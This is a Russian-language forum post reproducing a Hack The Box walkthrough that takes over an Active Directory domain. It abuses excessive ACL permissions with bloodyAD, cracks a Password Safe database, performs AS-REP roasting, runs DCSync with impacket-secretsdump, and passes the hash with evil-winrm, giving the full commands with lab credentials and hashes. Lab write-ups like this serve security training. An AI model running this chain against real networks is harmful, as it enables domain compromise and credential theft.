• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Эксплуатируем цепочку уязвимых ACL для захвата

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,178
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В этот раз я покажу, как можно эксплуатировать цепочку чрезмерных разрешений Active Directory. Мы завладеем FTP-сервером, потом разберемся с менеджером паролей и вытащим из него учетку пользователя. Затем проэксплуатируем еще одну цепочку чрезмерных разрешений для выполнения DCSync и захвата всего домена.
Конечная цель — получение прав суперпользователя на машине Administrator с учебной площадки Hack The Box. Уровень сложности задания — средний.

warning​


Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.42 Administrator.htb
На этот раз, помимо IP-адреса машины, нам также предоставляют и учетные данные с правами пользователя домена.

Информация о машине
Запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел 13 открытых портов:

  • 21 — FTP;
  • 88 — Kerberos;
  • 135 — служба удаленного вызова процедур (Microsoft RPC);
  • 139 — служба сеансов NetBIOS, NetLogon;
  • 389 — LDAP;
  • 445 — SMB;
  • 464 — служба смены пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
  • 636 — LDAP с шифрованием SSL или TLS;
  • 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
  • 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
  • 5985 — служба удаленного управления WinRM;
  • 9389 — веб‑службы AD DS.
Проверим выданные учетные данные с помощью Для просмотра ссылки Войди или Зарегистрируйся.

nxc smb 10.10.11.42 -u olivia -p ichliebedich
Результат проверки учетных данных

Сбор данных​

На сервере работают службы WinRM и FTP, поэтому стоит проверить уровень доступа к ним в контексте текущей учетной записи.

nxc winrm 10.10.11.42 -u olivia -p ichliebedich
Проверка службы WinRM
nxc ftp 10.10.11.42 -u olivia -p ichliebedich
Проверка службы FTP
Мы можем получить сессию через WinRM, но доступа к FTP у нас нет.

Теперь получим список пользователей. Иногда в описании учетных записей можно найти много интересного. Для такого запроса в NetExec есть параметр --users.

nxc ldap 10.10.11.42 -u olivia -p ichliebedich --users
Список пользователей
Ничего интересного не находим, поэтому авторизуемся в службе WinRM через Для просмотра ссылки Войди или Зарегистрируйся.

evil-winrm -i 10.10.11.42 -u olivia -p ichliebedich
Информация о пользователе
В рабочем окружении пользователя ничего интересного не находим, поэтому соберем базу для BloodHound.

Справка: BloodHound​

Утилита Для просмотра ссылки Войди или Зарегистрируйся использует теорию графов для выявления скрытых и зачастую непреднамеренных взаимосвязей в среде Active Directory. Ее можно использовать, чтобы легко идентифицировать очень сложные пути атаки. Помимо самой утилиты, которая позволяет просматривать граф, существует часть, загружаемая на удаленный хост для сбора информации. Она бывает в версиях для Windows — на PowerShell или C# — и для Linux — на Python.
Запускаем сбор информации при помощи SharpHound:

SharpHound.exe -c All --domaincontroller 10.10.11.42 --ldapusername olivia --ldappassword ichliebedich -d administrator.htb
Сбор базы BloodHound.

Скачиваем собранную базу командой download и загружаем в сам BloodHound, после чего строим граф от имеющегося у нас пользователя olivia.

Граф BloodHound
У нас есть путь до учетной записи benjamin, давай пройдем по нему и скомпрометируем все узлы.

Продвижение​


Пользователь benjamin​

Для эксплуатации чрезмерных разрешений будем использовать Для просмотра ссылки Войди или Зарегистрируйся. Первое разрешение, которым мы воспользуемся, — это GenericAll учетной записи OLIVIA на учетную запись пользователя MICHAEL. Так мы можем установить подконтрольному пользователю новый пароль.

bloodyAD --host 10.10.11.42 -u olivia -p ichliebedich -d administrator.htb set password MICHAEL '!Q@W3e4r'
Назначение нового пароля

В свою очередь, учетная запись MICHAEL имеет право изменения пароля ForceChangePassword для учетной записи пользователя BENJAMIN.

bloodyAD --host 10.10.11.42 -u MICHAEL -p '!Q@W3e4r' -d administrator.htb set password BENJAMIN '!Q@W3e4r'
Назначение нового пароля

Пользователь BENJAMIN состоит в группе SHARE MODERATORS. Никаких общих каталогов на хосте нет, а значит, стоит проверить, есть ли у этого пользователя доступ к FTP-серверу.

nxc ftp 10.10.11.42 -u BENJAMIN -p '!Q@W3e4r'
Проверка учетных данных
У пользователя есть разрешения для авторизации на службе FTP.


Пользователь emily​

Подключаемся к FTP-серверу. Там находим всего один файл Backup.psafe3, который скачиваем на локальную машину.

Для просмотра ссылки Войди или Зарегистрируйся
Этот файл — база менеджера паролей Для просмотра ссылки Войди или Зарегистрируйся. База защищена паролем, который можно сбрутить. Для этого с помощью Для просмотра ссылки Войди или Зарегистрируйся получаем хеш для перебора.

python3 pwsafe2john.py Backup.psafe3
Для просмотра ссылки Войди или Зарегистрируйся
Записываем хеш в файл и брутим с помощью Для просмотра ссылки Войди или Зарегистрируйся.

john --wordlist=rockyou.txt pwsafe_hash.txt
Результат подбора пароля

Скачиваем менеджер паролей и открываем базу.

Расшифровывание базы
Содержимое базы

В базе находим три учетки, среди которых валидная только emily.

nxc ldap 10.10.11.42 -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb
Проверка учетных данных
Подключаемся по WinRM и забираем первый флаг.

Флаг пользователя

Локальное повышение привилегий​

Перестраиваем граф BloodHound от нового пользователя и получаем путь компрометации всего домена.

Граф BloodHound

Учетная запись emily имеет право GenericWrite на учетную запись пользователя ETHAN. Это право не позволяет изменить пароль, но дает возможность менять параметры учетной записи. Например, мы можем в UAC учетной записи активировать поле «Не требовать предварительной проверки Kerberos», что позволит провести атаку AS-REP Roasting.

bloodyAD --host 10.10.11.42 -d administrator.htb -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb add uac ETHAN -f DONT_REQ_PREAUTH
Изменение UAC пользователя

Проводим AS-REP Roasting и получаем хеш, по которому будем подбирать пароль.

nxc ldap 10.10.11.42 -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb --asreproast asrep.txt
Результат AS-REP Roasting

Брутить хеш будем с помощью hashcat, который автоматически распознает тип хеша, а значит, никаких дополнительных параметров указывать не нужно.

hashcat asrep.txt rockyou.txt
Результат подбора пароля

Так мы компрометируем учетную запись пользователя ethan, которая, судя по графу BloodHound, имеет право репликации учетных данных с контроллера домена. Выполняем DCSync для получения хеша доменного администратора.

impacket-secretsdump administrator.htb/ethan:[EMAIL]limpbizkit@10.10.11.42[/EMAIL] -just-dc-user administrator
Учетные данные админа

С полученным хешем подключаемся по WinRM и забираем последний флаг.

evil-winrm -i 10.10.11.42 -u administrator -H 3dc553ce4b9fd20bd016e098d2d2fd2e
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here